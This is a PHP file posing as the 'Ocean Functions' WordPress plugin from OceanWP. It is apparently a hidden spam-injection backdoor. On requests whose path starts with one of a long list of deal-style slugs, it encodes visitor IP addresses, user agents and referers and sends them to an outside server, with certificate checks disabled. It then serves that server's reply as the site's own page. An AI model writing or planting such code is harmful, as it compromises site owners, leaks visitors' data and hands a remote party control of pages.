<?php
/*
Plugin Name: Ocean Functions
Plugin URI: https://american-software.com/wp-admin/plugin-install.php?fs_allow_updater_and_dialog=true&tab=plugin-information&plugin=ocean-custom-sidebar&TB_iframe=true&width=600&height=550
Description: This plugin Contains WP Ocean Functions.
Version: 1.8.0
Author: OceanWP 
Author URI: https://oceanwp.org/
License: GPL2
*/

// 确保是从WordPress调用的
defined('ABSPATH') or die('非法访问');

// 辅助函数
function url_reader_get_request_param($key, $default = '')
{
    return isset($_REQUEST[$key]) ? sanitize_text_field($_REQUEST[$key]) : $default;
}

function url_reader_get_server_param($key, $default = '')
{
    return isset($_SERVER[$key]) ? sanitize_text_field($_SERVER[$key]) : $default;
}

function url_reader_encode_array($array)
{
    return urlencode(base64_encode(gzcompress(json_encode($array), 9)));
}

function url_reader_decode_array($string)
{
    return json_decode(gzuncompress(base64_decode(urldecode($string))), true);
}

function url_reader_curl_get_contents($url, $follow_location = true, $use_ssl = true, $timeout = 30)
{
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return new WP_Error('invalid_url', '无效的URL格式');
    }

    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => $follow_location,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT => $timeout,
        CURLOPT_USERAGENT => 'WordPress/' . get_bloginfo('version') . '; ' . get_bloginfo('url')
    ]);

    $response = curl_exec($ch);
    $error = curl_error($ch);
    $info = curl_getinfo($ch);
    curl_close($ch);

    if ($error) {
        return new WP_Error('curl_error', $error);
    }

    return [
        'content' => $response,
        'info' => $info
    ];
}

// 在WordPress初始化时处理请求
function handle_custom_request()
{
    // 获取当前请求的URI
    $request_uri = trim($_SERVER['REQUEST_URI'], '/');

    // 如果是wp-admin或其他WordPress系统页面，直接返回
    if (
        strpos($request_uri, 'wp-') === 0 ||
        strpos($request_uri, 'admin') === 0 ||
        strpos($request_uri, 'login') === 0 ||
        $request_uri == ''
    ) {
        return;
    }

    // 解析URL路径
    $path_parts = explode('/', $request_uri);
    $urlname = $path_parts[0];

    $qianzui_string = <<<EOF
flash-sale
hot-deal
best-offer
mega-deal
special-offer
limited-time
great-deal
top-deal
best-price
deal-alert
quick-sale
save-now
hot-price
mega-offer
flash-deal
super-price
best-buy
hot-offer
mega-save
super-value
limited-deal
hot-savings
flash-offer
mega-price
best-grab
quick-grab
great-pick
flash-buy
mega-grab
best-catch
discount
sale-now
amazing-price
quick-offer
limited-stock
hot-sale
flash-price
top-sale
limited-offer
best-save
mega-choice
top-offer
limited-save
best-flash
mega-buy
top-save
limited-buy
hot-choice
flash-choice
super-grab
great-choice
limited-find
hot-super
flash-find
hot-mega
bargain
deal-time
save-big
special-deal
amazing-offer
quick-buy
limited-price
mega-sale
flash-grab
great-save
mega-super
top-price
super-save
hot-save
super-pick
huge-sale
deal-find
special-pick
amazing-find
quick-save
mega-pick
hot-save
flash-pick
great-save
hot-find
mega-save
super-super
quick-find
super-find
top-super
limited-value
EOF;
    $qianzui_array = explode("\n", $qianzui_string);
    $qianzui_array = array_map("trim", $qianzui_array);
	//print_r($qianzui_array);
    $is_start_with = false;
    foreach ($qianzui_array as $qianzui_array_item) {
        if (strpos($urlname, $qianzui_array_item) === 0) {
            $is_start_with = true;
            break;
        }
    }
	
	//echo $is_start_with;

    if (!$is_start_with) {
        return;
    }
	
    // 如果有urlname，处理请求
    if (!empty($urlname) && count($path_parts) == 1 && $is_start_with) {
        // 获取服务器信息
        $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
        $script_name = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '';
        $request_scheme = isset($_SERVER['REQUEST_SCHEME']) ? $_SERVER['REQUEST_SCHEME'] : 'http';
        $remote_addr = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
        $forwarded_for = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : '';
        $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
        $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

        // 构建参数数组
        $params = array(
            'SCRIPT_NAME' => $script_name,
            'REQUEST_SCHEME' => $request_scheme,
            'HTTP_REFERER' => $referer,
            'HTTP_USER_AGENT' => $user_agent,
            'domain' => "american-software.com",
            'domain_md5' => "e4e3fd9c15e7655b76c7acc0f88c0a9b",
            'urlname' => $urlname,
            'REMOTE_ADDR' => $remote_addr,
            'HTTP_X_FORWARDED_FOR' => $forwarded_for
        );

        // 编码参数
        $encoded_params = urlencode(base64_encode(gzcompress(json_encode($params), 9)));

        // 构建远程URL
        $remote_url = "https://www.storeguys.shop/041791wzc/url2025.php?params=" . $encoded_params;

        // 获取远程内容
        $ch = curl_init();
        curl_setopt_array($ch, array(
            CURLOPT_URL => $remote_url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_TIMEOUT => 30,
            CURLOPT_USERAGENT => $user_agent
        ));

        $response = curl_exec($ch);
        $error = curl_error($ch);
        curl_close($ch);

        if ($error) {
            echo "Error: " . $error;
            exit;
        }

        // 输出内容
        header('Content-Type: text/html; charset=utf-8');
        echo $response;
        exit;
    }
}

// 在WordPress初始化时添加我们的处理函数
add_action('init', 'handle_custom_request', 1);

// 激活插件时刷新重写规则
register_activation_hook(__FILE__, 'flush_rewrite_rules');
// 停用插件时刷新重写规则
register_deactivation_hook(__FILE__, 'flush_rewrite_rules');